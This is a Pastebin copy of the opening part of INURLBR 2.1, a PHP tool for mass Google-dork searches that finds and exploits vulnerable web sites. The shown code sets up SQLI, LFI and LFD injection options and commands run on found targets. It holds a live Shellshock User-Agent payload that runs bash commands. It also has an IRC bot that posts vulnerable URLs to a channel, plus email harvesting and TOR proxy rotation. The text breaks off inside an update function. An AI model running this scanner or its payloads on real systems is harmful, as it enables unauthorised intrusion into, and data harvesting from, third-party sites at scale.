0xspade

Brazil's INURL

Sep 6th, 2016
1,315
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 213.22 KB | None | 0 0
  1.  
  2. #!/usr/bin/php -q
  3. <?php
  4. /*
  5.  
  6.   +-----------------------------------------------------------------------------+
  7.   |  [!] Legal disclaimer: Usage of INURLBR for attacking targets without prior |
  8.   |  mutual consent is illegal.                                                 |
  9.   |  It is the end user's responsibility to obey all applicable local, state and|
  10.   |  federal laws.                                                              |
  11.   |  Developers assume no liability and are not responsible for any misuse or   |
  12.   |  damage caused by this program                                              |
  13.   +-----------------------------------------------------------------------------+
  14.  
  15.  
  16.   [+] AUTOR:        Cleiton Pinheiro / Nick: googleINURL
  17.   [+] Blog:         http://blog.inurl.com.br
  18.   [+] Twitter:      https://twitter.com/googleinurl
  19.   [+] Fanpage:      https://fb.com/InurlBrasil
  20.   [+] Pastebin      http://pastebin.com/u/Googleinurl
  21.   [+] GIT:          https://github.com/googleinurl
  22.   [+] PSS:          http://packetstormsecurity.com/user/googleinurl
  23.   [+] EXA:          http://exploit4arab.net/author/248/Cleiton_Pinheiro
  24.   [+] YOUTUBE:      http://youtube.com/c/INURLBrasil
  25.   [+] PLUS:         http://google.com/+INURLBrasil
  26.  
  27.   [+] SCRIPT NAME: INURLBR 2.1
  28.   INURLBR scanner was developed by Cleiton Pinheiro, owner and founder of INURL - BRASIL.
  29.   Tool made ​​in PHP that can run on different Linux distributions helps
  30.   hackers / security professionals in their specific searches.
  31.   With several options are automated methods of exploration, AND SCANNER is
  32.   known for its ease of use and performasse.
  33.   The inspiration to create the inurlbr scanner, was the XROOT Scan 5.2 application.
  34.  
  35.   [+]  Long desription
  36.   The INURLBR tool was developed aiming to meet the need of Hacking community.
  37.   Purpose: Make advanced searches to find potential vulnerabilities in web
  38.   applications known as Google Hacking with various options and search filters,
  39.   this tool has an absurd power of search engines available with
  40.   (24) + 6 engines special(deep web)
  41.  
  42.   - Possibility generate IP ranges or random_ip and analyze their targets.
  43.   - Customization of  HTTP-HEADER, USER-AGET, URL-REFERENCE.
  44.   - Execution external to exploit certain targets.
  45.   - Generator dorks random or set file dork.
  46.   - Option to set proxy, file proxy list, http proxy, file http proxy.
  47.   - Set time random proxy.
  48.   - It is possible to use TOR ip Random.
  49.   - Debug processes urls, http request, process irc.
  50.   - Server communication irc sending vulns urls for chat room.
  51.   - Possibility injection exploit GET / POST => SQLI, LFI, LFD.
  52.   - Filter and validation based regular expression.
  53.   - Extraction of email and url.
  54.   - Validation using http-code.
  55.   - Search pages based on strings file.
  56.   - Exploits commands manager.
  57.   - Paging limiter on search engines.
  58.   - Beep sound when trigger vulnerability note.
  59.   - Use text file as a data source for urls tests.
  60.   - Find personalized strings in return values of the tests.
  61.   - Validation vulnerability shellshock.
  62.   - File validation values wordpress wp-config.php.
  63.   - Execution sub validation processes.
  64.   - Validation syntax errors database and programmin.
  65.   - Data encryption as native parameter.
  66.   - Random google host.
  67.   - Scan port.
  68.   - Error Checking & values​​:
  69.   [*]JAVA INFINITYDB, [*]LOCAL FILE INCLUSION, [*]ZIMBRA MAIL,           [*]ZEND FRAMEWORK,
  70.   [*]ERROR MARIADB,   [*]ERROR MYSQL,          [*]ERROR JBOSSWEB,        [*]ERROR MICROSOFT,
  71.   [*]ERROR ODBC,      [*]ERROR POSTGRESQL,     [*]ERROR JAVA INFINITYDB, [*]ERROR PHP,
  72.   [*]CMS WORDPRESS,   [*]SHELL WEB,            [*]ERROR JDBC,            [*]ERROR ASP,
  73.   [*]ERROR ORACLE,    [*]ERROR DB2,            [*]JDBC CFM,              [*]ERROS LUA,
  74.   [*]ERROR INDEFINITE
  75.  
  76.   [+] Dependencies - (PHP 5.4.*):
  77.   sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl
  78.  
  79.  
  80.   [+] Play LIST TUTORIAL:
  81.   https://www.youtube.com/watch?v=jwjZUsgf9xM&list=PLV1376pVwcCmcoCmq_Z4O0ra4BqjmhIaR
  82.  
  83.  
  84.   +--------------------------------------------------------------------------------------+
  85.   |  |  |                            G R 3 3 T S                                   |  |  |
  86.   +--------------------------------------------------------------------------------------+
  87.  * r00t-3xp10t, Jh00n, chk_,  Unknownantisec,  sl4y3r 0wn3r, hc0d3r, arplhmd, 0x4h4x
  88.  * Clandestine, KoubackTr, SnakeTomahawk, SkyRedFild, Lorenzo Faletra, Eclipse, shaxer  
  89.  * dd3str0y3r, Johnny Deep, Lenon Leite, pSico_b0y, Bakunim_Malvadão, IceKiller, c00z  
  90.  * Oystex, rH, Warflop, se4b3ar
  91.  
  92.  */
  93.  
  94. error_reporting(0);
  95. set_time_limit(0);
  96. ini_set('memory_limit', '256M');
  97. ini_set('display_errors', 0);
  98. ini_set('max_execution_time', 0);
  99. ini_set('allow_url_fopen', 1);
  100. (!isset($_SESSION) ? session_start() : NULL);
  101. __OS();
  102.  
  103.  
  104. /*
  105.   [+]Capturing TERMINAL VALUES.
  106.   (PHP 4 >= 4.3.0, PHP 5)getopt - Gets options from the command line argument list
  107.   http://php.net/manual/pt_BR/function.getopt.php */
  108. $commandos_list = array(
  109.     'dork:', 'dork-file:', 'exploit-cad:', 'range:', 'range-rand:', 'irc:',
  110.     'exploit-all-id:', 'exploit-vul-id:', 'exploit-get:', 'exploit-post:',
  111.     'regexp-filter:', 'exploit-command:', 'command-all:', 'command-vul:',
  112.     'replace:', 'remove:', 'regexp:', 'sall:', 'sub-file:', 'sub-get::', 'sub-concat:',
  113.     'user-agent:', 'url-reference:', 'delay:', 'sendmail:', 'time-out:',
  114.     'http-header:', 'ifcode:', 'ifurl:', 'ifemail:', 'mp:', 'target:',
  115.     'no-banner::', 'gc::', 'proxy:', 'proxy-file:', 'time-proxy:', 'pr::',
  116.     'proxy-http-file:', 'update::', 'info::', 'help::', 'unique::', 'popup::',
  117.     'ajuda::', 'install-dependence::', 'cms-check::', 'sub-post::', 'robots::',
  118.     'alexa-rank::', 'beep::', 'exploit-list::', 'tor-random::', 'shellshock::',
  119.     'dork-rand:', 'sub-cmd-all:', 'sub-cmd-vul:', 'port-cmd:', 'port-scan:',
  120.     'port-write:', 'ifredirect:', 'persist:', 'file-cookie:', 'save-as:'
  121. );
  122.  
  123. $opcoes = getopt('u::a:d:o:p:s:q:t:m::h::', $commandos_list);
  124.  
  125.  
  126. /*
  127.   [+]VERIFYING LIB php5-curl IS INSTALLED.
  128.   (PHP 4, PHP 5) function_exists — Return TRUE if the given function has been
  129.   defined.
  130.   http://php.net/manual/en/function.function-exists.php
  131.  
  132.   [+]Verification - CURL_EXEC
  133.   Execute the given cURL session.
  134.   This function should be called after initializing a cURL session and all the
  135.   options for the session are set.
  136.   http://php.net/manual/en/function.curl-exec.php */
  137. (!function_exists('curl_exec') ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]} INSTALLING THE LIBRARY php5-curl ex: php5-curl apt-get install{$_SESSION["c0"]}\n") : NULL );
  138.  
  139. /*
  140.   [+]VERIFYING use Input PHP CLI.
  141.   (PHP 4, PHP 5) defined — Checks whether a given named constant exists
  142.   http://php.net/manual/pt_BR/function.defined.php */
  143. (!defined('STDIN') ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]} Please run it through command-line!{$_SESSION["c0"]}\n") : NULL);
  144.  
  145.  
  146. #[+]Resetting VALUES $ _SESSION ['config']
  147. $_SESSION['config'] = array();
  148. $_SESSION['config']['version_script'] = '2.1';
  149. $_SESSION['config']['totas_urls'] = NULL;
  150. $_SESSION['config']["contUrl"] = 0;
  151. $_SESSION['config']['cont_email'] = 0;
  152. $_SESSION['config']['cont_url'] = 0;
  153. $_SESSION['config']['cont_valores'] = 0;
  154.  
  155. #[+] FILE MANAGEMENT EXPLOITS.
  156. $_SESSION['config']['file_exploit_conf'] = 'exploits.conf';
  157.  
  158. #[+] FOLDER WHERE WILL BE SAVED PROCESSES.
  159. $_SESSION['config']['out_put_paste'] = 'output/';
  160.  
  161. /*
  162.   [+]USER-AGENT EXPLOIT SHELLSHOCK
  163.   (CVE-2014-6271, CVE-2014-6277,
  164.   CVE-2014-6278, CVE-2014-7169,
  165.   CVE-2014-7186, CVE-2014-7187)
  166.   is a vulnerability in GNU's bash shell that gives attackers access to run remote
  167.   commands on a vulnerable system. */
  168. $_SESSION['config']['user_agent_xpl'] = "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo CMD:;id; echo END_CMD:;\"";
  169.  
  170. #[+]BLACK LIST URL-STRINGS
  171. $_SESSION['config']['blacklist'] = "//t.co,google.,youtube.,jsuol.com,.radio.uol.,b.uol.,barra.uol.,whowhere.,hotbot.,amesville.,lycos,lygo.,orkut.,schema.,blogger.,bing.,w3.,yahoo.,yimg.,creativecommons.org,ndj6p3asftxboa7j.,.torproject.org,.lygo.com,.apache.org,.hostname.,document.,";
  172. $_SESSION['config']['blacklist'].= "live.,microsoft.,ask.,shifen.com,answers.,analytics.,googleadservices.,sapo.pt,favicon.,blogspot.,wordpress.,.css,scripts.js,jquery-1.,dmoz.,gigablast.,aol.,.macromedia.com,.sitepoint.,yandex.,www.tor2web.org,.securityfocus.com,.Bootstrap.,.metasploit.com,";
  173. $_SESSION['config']['blacklist'].= "aolcdn.,altavista.,clusty.,teoma.,baiducontent.com,wisenut.,a9.,uolhost.,w3schools.,msn.,baidu.,hao123.,shifen.,procog.,facebook.,twitter.,flickr.,.adobe.com,oficinadanet.,elephantjmjqepsw.,.shodan.io,kbhpodhnfxl3clb4,.scanalert.com,.prototype.,feedback.core,";
  174. $_SESSION['config']['blacklist'].= "4shared.,.KeyCodeTab,.style.,www/cache/i1,.className.,=n.,a.Ke=,Y.config,.goodsearch.com,style.top,n.Img,n.canvas.,t.search,Y.Search.,a.href,a.currentStyle,a.style,yastatic.,.oth.net,.hotbot.com,.zhongsou.com,ezilon.com,.example.com,location.href,.navigation.,";
  175. $_SESSION['config']['blacklist'].= ".bingj.com,Y.Mobile.,srpcache?p,stackoverflow.,shifen.,baidu.,baiducontent.,gstatic.,php.net,wikipedia.,webcache.,inurl.,naver.,navercorp.,windows.,window.,.devmedia,imasters.,.inspcloud.com,.lycos.com,.scorecardresearch.com,.target.,JQuery.min,Element.location.,";
  176. $_SESSION['config']['blacklist'].= "exploit-db,packetstormsecurity.,1337day,owasp,.sun.com,mobile10.dtd,onabort=function,inurl.com.br,purl.org,.dartsearch.net,r.cb,.classList.,.pt_BR.,github,microsofttranslator.com,.compete.com,.sogou.com,gmail.,blackle.com,boorow.com,gravatar.com,sourceforge.,.mozilla.org";
  177.  
  178. $_SESSION['config']['line'] = "\n{$_SESSION["c1"]} _[ - ]{$_SESSION["c7"]}::{$_SESSION["c1"]}--------------------------------------------------------------------------------------------------------------{$_SESSION["c0"]}";
  179.  
  180. #[+]PRINTING HELP / INFO
  181. (isset($opcoes['h']) || isset($opcoes['help']) || isset($opcoes['ajuda']) ? __menu() : NULL);
  182. (isset($opcoes['info']) ? __info() : NULL);
  183.  
  184. #[+]PRINTING EXPLOITS LIST.
  185. (isset($opcoes['exploit-list']) ? print(__bannerLogo()) . __configExploitsList(1)  : NULL);
  186.  
  187. #[+]CREATING DEFAULT SETTINGS EXIT RESULTS.
  188. (!is_dir($_SESSION['config']['out_put_paste']) ? mkdir($_SESSION['config']['out_put_paste'], 0777, TRUE) : NULL);
  189.  
  190. #[+]CREATING DEFAULT SETTINGS MANAGEMENT EXPLOITS.
  191. (!file_exists($_SESSION['config']['file_exploit_conf']) ? touch($_SESSION['config']['file_exploit_conf']) : NULL);
  192.  
  193. #[+]Deletes FILE cookie STANDARD.
  194. (file_exists('cookie.txt') ? unlink('cookie.txt') : NULL);
  195.  
  196. #[+]REGISTRATION NEW COMMAND EXPLOIT
  197. (not_isnull_empty($opcoes['exploit-cad']) ? __configExploitsADD($opcoes['exploit-cad']) : NULL);
  198.  
  199. #[+]Dependencies installation
  200. (isset($opcoes['install-dependence']) ? __installDepencia() : NULL);
  201.  
  202. #[+]UPDATE SCRIPT
  203. (isset($opcoes['update']) ? __update() : NULL);
  204.  
  205. ################################################################################
  206. #CAPTURE OPTIONS################################################################
  207. ################################################################################
  208. #[+]VALIDATION SEARCH METHODS / (DORK,RANGE-IP)
  209. if (not_isnull_empty($opcoes['o'])) {
  210.  
  211.     $_SESSION['config']['abrir-arquivo'] = $opcoes['o'];
  212. } else if (!not_isnull_empty($opcoes['o']) &&
  213.         !not_isnull_empty($opcoes['range']) &&
  214.         !not_isnull_empty($opcoes['range-rand']) &&
  215.         !not_isnull_empty($opcoes['dork-rand'])) {
  216.  
  217.     $_SESSION['config']['dork'] = not_isnull_empty($opcoes['dork']) && is_null($_SESSION['config']['abrir-arquivo']) ? $opcoes['dork'] : NULL;
  218.     $_SESSION['config']['dork-file'] = not_isnull_empty($opcoes['dork-file']) && is_null($_SESSION['config']['abrir-arquivo']) ? $opcoes['dork-file'] : NULL;
  219.     (!not_isnull_empty($_SESSION['config']['dork']) && !not_isnull_empty($_SESSION['config']['dork-file']) ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}DEFINE DORK ex: --dork '.asp?CategoryID=' OR --dork-file 'dorks.txt'{$_SESSION["c0"]}\n") : NULL);
  220. }
  221.  
  222. #[+]VALIDATION GENERATE DORKS RANDOM
  223. $_SESSION['config']['dork-rand'] = not_isnull_empty($opcoes['dork-rand']) ? $opcoes['dork-rand'] : NULL;
  224.  
  225. #[+]VALIDATION TARGET FIND PAGE
  226. $_SESSION['config']['target'] = not_isnull_empty($opcoes['target']) && !isset($_SESSION['config']['dork']) ? $opcoes['target'] : NULL;
  227.  
  228. #[+]VALIDATION URL EXTRACTION
  229. $_SESSION['config']['extrai-url'] = isset($opcoes['u']) ? TRUE : NULL;
  230.  
  231. #[+]VALIDATION EMAIL EXTRACTION
  232. $_SESSION['config']['extrai-email'] = isset($opcoes['m']) ? TRUE : NULL;
  233.  
  234. #[+]VALIDATION ID SEARCH ENGINE
  235. $_SESSION['config']['motor'] = not_isnull_empty($opcoes['q']) &&
  236.         __validateOptions('1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,e1,e2,e3,e4,e5,e6,all', $opcoes['q']) ? $opcoes['q'] : 1;
  237.  
  238. #[+]VALIDATION SAVE FILE VULNERABLE
  239. !not_isnull_empty($opcoes['s']) && !not_isnull_empty($opcoes['save-as']) && empty($opcoes['sall']) ?
  240.                 __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}DEFINE FILE SAVE OUTPUT ex: -s , --save-as , --sall filevull.txt{$_SESSION["c0"]}\n") : NULL;
  241.  
  242. $_SESSION['config']['s'] = not_isnull_empty($opcoes['s']) ? $opcoes['s'] : null;
  243.  
  244. $_SESSION['config']['save-as'] = not_isnull_empty($opcoes['save-as']) ? $opcoes['save-as'] : null;
  245.  
  246. $_SESSION['config']['arquivo_output'] = not_isnull_empty($_SESSION['config']['s']) ? $_SESSION['config']['s'] : $opcoes['save-as'];
  247.  
  248. #[+]VALIDATION SAVE FILE ALL VALORES
  249. $_SESSION['config']['arquivo_output_all'] = not_isnull_empty($opcoes['sall']) ? $opcoes['sall'] : NULL;
  250.  
  251. #[+]VALIDATION TYPE ERROR
  252. $_SESSION['config']['tipoerro'] = not_isnull_empty($opcoes['t']) && __validateOptions('1,2,3,4,5', $opcoes['t']) ? $opcoes['t'] : 1;
  253.  
  254. #[+]VALIDATION REPLACEMENT VALUES
  255. $_SESSION['config']['replace'] = not_isnull_empty($opcoes['replace']) ? $opcoes['replace'] : NULL;
  256.  
  257. #[+]VALIDATION SET PROXY
  258. $_SESSION['config']['proxy'] = not_isnull_empty($opcoes['proxy']) ? $opcoes['proxy'] : NULL;
  259.  
  260. #[+]VALIDATION SET FILE WITH LIST OF PROXY
  261. $_SESSION['config']['proxy-file'] = not_isnull_empty($opcoes['proxy-file']) ? $opcoes['proxy-file'] : NULL;
  262.  
  263. #[+]VALIDATION SET HTTP->PROXY
  264. $_SESSION['config']['proxy-http'] = not_isnull_empty($opcoes['proxy-http']) ? $opcoes['proxy-http'] : NULL;
  265.  
  266. #[+]VALIDATION SET FILE WITH LIST OF HTTP->PROXY
  267. $_SESSION['config']['proxy-http-file'] = not_isnull_empty($opcoes['proxy-http-file']) ? $opcoes['proxy-http-file'] : NULL;
  268.  
  269. #[+]VALIDATION SET EXPLOIT VIA REQUEST GET
  270. $_SESSION['config']['exploit-get'] = not_isnull_empty($opcoes['exploit-get']) ? str_replace(' ', '%20', $opcoes['exploit-get']) : NULL;
  271.  
  272. #[+]VALIDATION SET EXPLOIT VIA REQUEST POST
  273. $_SESSION['config']['exploit-post'] = not_isnull_empty($opcoes['exploit-post']) ? __convertUrlQuery($opcoes['exploit-post']) : NULL;
  274. $_SESSION['config']['exploit-post_str'] = not_isnull_empty($opcoes['exploit-post']) ? $opcoes['exploit-post'] : NULL;
  275.  
  276. #[+]VALIDATION COMMAND SHELL STRING COMPLEMENTARY
  277. $_SESSION['config']['exploit-command'] = not_isnull_empty($opcoes['exploit-command']) ? $opcoes['exploit-command'] : NULL;
  278.  
  279. #[+]VALIDATION MANAGEMENT COMMANDS SHELL TARGET VULN ID
  280. $_SESSION['config']['exploit-vul-id'] = not_isnull_empty($opcoes['exploit-vul-id']) ? $opcoes['exploit-vul-id'] : NULL;
  281.  
  282. #[+]VALIDATION MANAGEMENT COMMANDS SHELL ALL TARGET ID
  283. $_SESSION['config']['exploit-all-id'] = not_isnull_empty($opcoes['exploit-all-id']) ? $opcoes['exploit-all-id'] : NULL;
  284.  
  285. #[+]VALIDATION SET COMMANDS SHELL EXECUTE TARGET VULN
  286. $_SESSION['config']['command-vul'] = not_isnull_empty($opcoes['command-vul']) ? $opcoes['command-vul'] : NULL;
  287.  
  288. #[+]VALIDATION SET COMMANDS SHELL EXECUTE ALL TARGET
  289. $_SESSION['config']['command-all'] = not_isnull_empty($opcoes['command-all']) ? $opcoes['command-all'] : NULL;
  290.  
  291. #[+]VALIDATION ADDITIONAL TYPE OF PARAMETER ERROR
  292. $_SESSION['config']['achar'] = not_isnull_empty($opcoes['a']) ? $opcoes['a'] : NULL;
  293.  
  294. #[+]VALIDATION DEBUG NIVEL
  295. $_SESSION['config']['debug'] = not_isnull_empty($opcoes['d']) && __validateOptions('1,2,3,4,5,6', $opcoes['d']) ? $opcoes['d'] : NULL;
  296.  
  297. #[+]VALIDATION INTERNAL
  298. $_SESSION['config']['verifica_info'] = (__validateOptions($opcoes['d'], 6)) ? 1 : NULL;
  299.  
  300. #[+]VALIDATION ADDITIONAL PARAMETER PROXY
  301. $_SESSION['config']['tor-random'] = isset($opcoes['tor-random']) && !is_null($_SESSION["config"]["proxy"]) ? TRUE : NULL;
  302.  
  303. #[+]VALIDATION CHECK VALUES CMS
  304. $_SESSION['config']['cms-check'] = isset($opcoes['cms-check']) ? TRUE : NULL;
  305.  
  306. #[+]VALIDATION CHECK LINKS WEBCACHE GOOGLE
  307. $_SESSION['config']['webcache'] = isset($opcoes['gc']) ? TRUE : NULL;
  308.  
  309. #[+]VALIDATION REGULAR EXPRESSION
  310. $_SESSION['config']['regexp'] = not_isnull_empty($opcoes['regexp']) ? $opcoes['regexp'] : NULL;
  311.  
  312. #[+]VALIDATION FILTER BY REGULAR EXPRESSION
  313. $_SESSION['config']['regexp-filter'] = not_isnull_empty($opcoes['regexp-filter']) ? $opcoes['regexp-filter'] : NULL;
  314.  
  315. #[+]VALIDATION NO BANNER SCRIPT
  316. $_SESSION['config']['no-banner'] = isset($opcoes['no-banner']) ? TRUE : NULL;
  317.  
  318. #[+]VALIDATION SET USER-AGENT REQUEST
  319. $_SESSION['config']['user-agent'] = not_isnull_empty($opcoes['user-agent']) ? $opcoes['user-agent'] : NULL;
  320.  
  321. #[+]VALIDATION SET URL-REFERENCE REQUEST
  322. $_SESSION['config']['url-reference'] = not_isnull_empty($opcoes['url-reference']) ? $opcoes['url-reference'] : NULL;
  323.  
  324. #[+]VALIDATION PAGING THE MAXIMUM SEARCH ENGINE
  325. $_SESSION['config']['max_pag'] = not_isnull_empty($opcoes['mp']) ? $opcoes['mp'] : NULL;
  326.  
  327. #[+]VALIDATION DELAY SET PAGING AND PROCESSES
  328. $_SESSION['config']['delay'] = not_isnull_empty($opcoes['delay']) ? $opcoes['delay'] : NULL;
  329.  
  330. #[+]VALIDATION SET TIME OUT REQUEST
  331. $_SESSION['config']['time-out'] = not_isnull_empty($opcoes['time-out']) ? $opcoes['time-out'] : NULL;
  332.  
  333. #[+]VALIDATION CODE HTTP
  334. $_SESSION['config']['ifcode'] = not_isnull_empty($opcoes['ifcode']) ? $opcoes['ifcode'] : NULL;
  335.  
  336. #[+]VALIDATION STRING URL
  337. $_SESSION['config']['ifurl'] = not_isnull_empty($opcoes['ifurl']) ? $opcoes['ifurl'] : NULL;
  338.  
  339. #[+]VALIDATION SET HTTP HEADER
  340. $_SESSION['config']['http-header'] = not_isnull_empty($opcoes['http-header']) ? $opcoes['http-header'] : NULL;
  341.  
  342. #[+]VALIDATION SET FILE SUB_PROCESS
  343. $_SESSION['config']['sub-file'] = not_isnull_empty($opcoes['sub-file']) ? __openFile($opcoes['sub-file'], 1) : NULL;
  344.  
  345. #[+]VALIDATION SUB_PROCESS TYPE REQUEST POST
  346. $_SESSION['config']['sub-post'] = isset($opcoes['sub-post']) ? TRUE : NULL;
  347.  
  348. #[+]VALIDATION SUB_PROCESS TYPE REQUEST GET
  349. $_SESSION['config']['sub-get'] = isset($opcoes['sub-get']) ? TRUE : NULL;
  350.  
  351. #[+]VALIDATION SEND VULN EMAIL
  352. $_SESSION['config']['sendmail'] = not_isnull_empty($opcoes['sendmail']) ? $opcoes['sendmail'] : NULL;
  353.  
  354. #[+]VALIDATION SHOW RANK ALEXA
  355. $_SESSION['config']['alexa-rank'] = isset($opcoes['alexa-rank']) ? TRUE : NULL;
  356.  
  357. #[+]VALIDATION ACTIVATE BEEP WHEN APPEAR VULNERABLE
  358. $_SESSION['config']['beep'] = isset($opcoes['beep']) ? TRUE : NULL;
  359.  
  360. #[+]VALIDATION OF SINGLE DOMAIN FILTER
  361. $_SESSION['config']['unique'] = isset($opcoes['unique']) ? TRUE : NULL;
  362.  
  363. #[+]VALIDATION IRC SERVER/CHANNEL SEND VULN
  364. $_SESSION['config']['irc']['conf'] = not_isnull_empty($opcoes['irc']) && strstr($opcoes['irc'], '#') ? explode("#", $opcoes['irc']) : NULL;
  365.  
  366. #[+]VALIDATION RANGE IP
  367. $_SESSION['config']['range'] = not_isnull_empty($opcoes['range']) && strstr($opcoes['range'], ',') ? $opcoes['range'] : NULL;
  368.  
  369. #[+]VALIDATION QUANTITY RANGE IP RANDOM
  370. $_SESSION['config']['range-rand'] = not_isnull_empty($opcoes['range-rand']) ? $opcoes['range-rand'] : NULL;
  371.  
  372. #[+]VALIDATION REMOVE STRING URL
  373. $_SESSION['config']['remove'] = not_isnull_empty($opcoes['remove']) ? $opcoes['remove'] : NULL;
  374.  
  375. #[+]VALIDATION ACCESS FILE ROBOTS
  376. $_SESSION['config']['robots'] = isset($opcoes['robots']) ? TRUE : NULL;
  377.  
  378. #[+]VALIDATION FILTER EMAIL STRING
  379. $_SESSION['config']['ifemail'] = not_isnull_empty($opcoes['ifemail']) ? $opcoes['ifemail'] : NULL;
  380.  
  381. #[+]VALIDATION OPEN WINDOW CONSOLE PROCESS
  382. $_SESSION['config']['popup'] = isset($opcoes['popup']) ? TRUE : NULL;
  383.  
  384. #[+]VALIDATION ACTIVATE SHELLSHOCK
  385. $_SESSION['config']['shellshock'] = isset($opcoes['shellshock']) ? TRUE : NULL;
  386.  
  387. #[+]VALIDATION METHOD OF BUSTA PROGRESSIVE
  388. $_SESSION['config']['pr'] = isset($opcoes['pr']) ? TRUE : NULL;
  389.  
  390. #[+]VALIDATION SET SUB-COMMANDS SHELL EXECUTE ALL TARGET
  391. $_SESSION['config']['sub-cmd-all'] = isset($opcoes['sub-cmd-all']) ? TRUE : NULL;
  392.  
  393. #[+]VALIDATION SET SUB-COMMANDS SHELL EXECUTE TARGET VULN
  394. $_SESSION['config']['sub-cmd-vul'] = isset($opcoes['sub-cmd-vul']) ? TRUE : NULL;
  395.  
  396. #[+]VALIDATION SET POR VALIDATION
  397. $_SESSION['config']['port-cmd'] = not_isnull_empty($opcoes['port-cmd']) ? $opcoes['port-cmd'] : NULL;
  398.  
  399. #[+]VALIDATION SET SCAN PORT
  400. $_SESSION['config']['port-scan'] = not_isnull_empty($opcoes['port-scan']) ? $opcoes['port-scan'] : NULL;
  401.  
  402. #[+]VALIDATION SET PAYLOAD XPL PORT
  403. $_SESSION['config']['port-write'] = not_isnull_empty($opcoes['port-write']) ? $opcoes['port-write'] : NULL;
  404.  
  405. #[+]VALIDATION SET URL REDIRECT HEADER
  406. $_SESSION['config']['ifredirect'] = not_isnull_empty($opcoes['ifredirect']) ? $opcoes['ifredirect'] : NULL;
  407.  
  408. #[+]VALIDATION SET URL REDIRECT HEADER
  409. $_SESSION['config']['persist'] = not_isnull_empty($opcoes['persist']) ? $opcoes['persist'] : 4;
  410.  
  411. #[+]VALIDATION SET FILE COOKIE
  412. $_SESSION['config']['file-cookie'] = not_isnull_empty($opcoes['file-cookie']) ? $opcoes['file-cookie'] : NULL;
  413.  
  414. #[+]VALIDATION SET STRING CONCAT URL SUB-PROCESS
  415. $_SESSION['config']['sub-concat'] = not_isnull_empty($opcoes['sub-concat']) ? $opcoes['sub-concat'] : NULL;
  416.  
  417. ################################################################################
  418. #IRC CONFIGURATION##############################################################
  419. ################################################################################
  420.  
  421. if (is_array($_SESSION['config']['irc']['conf'])) {
  422.  
  423.     $alph = range("A", "Z");
  424.     $_ = array(0 => rand(0, 10000), 1 => $alph[rand(0, count($alph))]);
  425.     $_SESSION['config']['irc']['my_pid'] = 0;
  426.     $_SESSION['config']['irc']['irc_server'] = $_SESSION['config']['irc']['conf'][0];
  427.     $_SESSION['config']['irc']['irc_channel'] = "#{$_SESSION['config']['irc']['conf'][1]}";
  428.     $_SESSION['config']['irc']['irc_port'] = 6667;
  429.     $_SESSION['config']['irc']['localhost'] = "127.0.0.1 localhost";
  430.     $_SESSION['config']['irc']['irc_nick'] = "[BOT]1nurl{$_[0]}[{$_[1]}]";
  431.     $_SESSION['config']['irc']['irc_realname'] = "B0t_1NURLBR";
  432.     $_SESSION['config']['irc']['irc_quiet'] = "Session Ended";
  433.     global $conf;
  434. } elseif (!is_array($_SESSION['config']['irc']['conf']) && not_isnull_empty($opcoes['irc'])) {
  435.  
  436.     __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}IRC WRONG FORMAT! ex: --irc 'irc.rizon.net#inurlbrasil' {$_SESSION["c0"]}\n");
  437. }
  438.  
  439. ################################################################################
  440. #IRC CONECTION##################################################################
  441. ################################################################################
  442.  
  443. function __ircConect($conf) {
  444.  
  445.     $fp = fsockopen($conf['irc_server'], $conf['irc_port'], $conf['errno'], $conf['errstr'], 30);
  446.     if (!$fp) {
  447.  
  448.         echo "Error: {$conf['errstr']}({$conf['errno']})\n";
  449.         return NULL;
  450.     }
  451.     $u = php_uname();
  452.     fwrite($fp, "NICK {$conf['irc_nick']}\r\n");
  453.     fwrite($fp, "USER {$conf['irc_nick']} 8 * :{$conf['irc_realname']}\r\n");
  454.     fwrite($fp, "JOIN {$conf['irc_channel']}\r\n");
  455.     fwrite($fp, "PRIVMSG {$conf['irc_channel']} :[ SERVER ] {$u}\r\n");
  456.     return $fp;
  457. }
  458.  
  459. ################################################################################
  460. #IRC SEND MSG###################################################################
  461. ################################################################################
  462.  
  463. function __ircMsg($conf, $msg) {
  464.  
  465.     fwrite($conf['irc_connection'], "PRIVMSG ${conf['irc_channel']} :${msg}\r\n") . sleep(2);
  466.     __plus();
  467. }
  468.  
  469. ################################################################################
  470. #IRC PING PONG##################################################################
  471. ################################################################################
  472.  
  473. function __ircPong($conf) {
  474.  
  475.     while (!feof($conf['irc_connection'])) {
  476.  
  477.         $conf['READ_BUFFER'] = fgets($conf['irc_connection']);
  478.         __plus();
  479.         if (preg_match("/^PING(.+)/", $conf['READ_BUFFER'], $conf['ret'])) {
  480.  
  481.             __debug(array('debug' => "[ PING-PONG ]{$conf['ret'][1]}", 'function' => '__ircPong'), 6) . __plus();
  482.             fwrite($conf['READ_BUFFER'], "PONG {$conf['ret'][1]}\r\n");
  483.             ($_SESSION['config']['debug'] == 6) ?
  484.                             fwrite($conf['irc_connection'], "PRIVMSG ${conf['irc_channel']} :[ PING-PONG ]-> {$conf['ret'][1]}->function:__ircPong\r\n") : NULL;
  485.         }
  486.     }
  487. }
  488.  
  489. ################################################################################
  490. #IRC QUIT#######################################################################
  491. ################################################################################
  492.  
  493. function __ircQuit($conf) {
  494.  
  495.     fwrite($conf['irc_connection'], "QUIT {$conf['irc_quiet']}\r\n") . sleep(2);
  496.     __plus();
  497.     fclose($conf['irc_connection']);
  498. }
  499.  
  500. #END IRC########################################################################
  501. #UPDATE SCRIPT##################################################################
  502. ################################################################################
  503.  
  504. function __update() {
  505.  
  506.     echo __bannerLogo();
  507.  
  508.     echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}WANT TO MAKE UPDATE SCRIPT\n{$_SESSION["c0"]}";
  509.     echo "{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}This can modify the current script\n{$_SESSION["c0"]}";
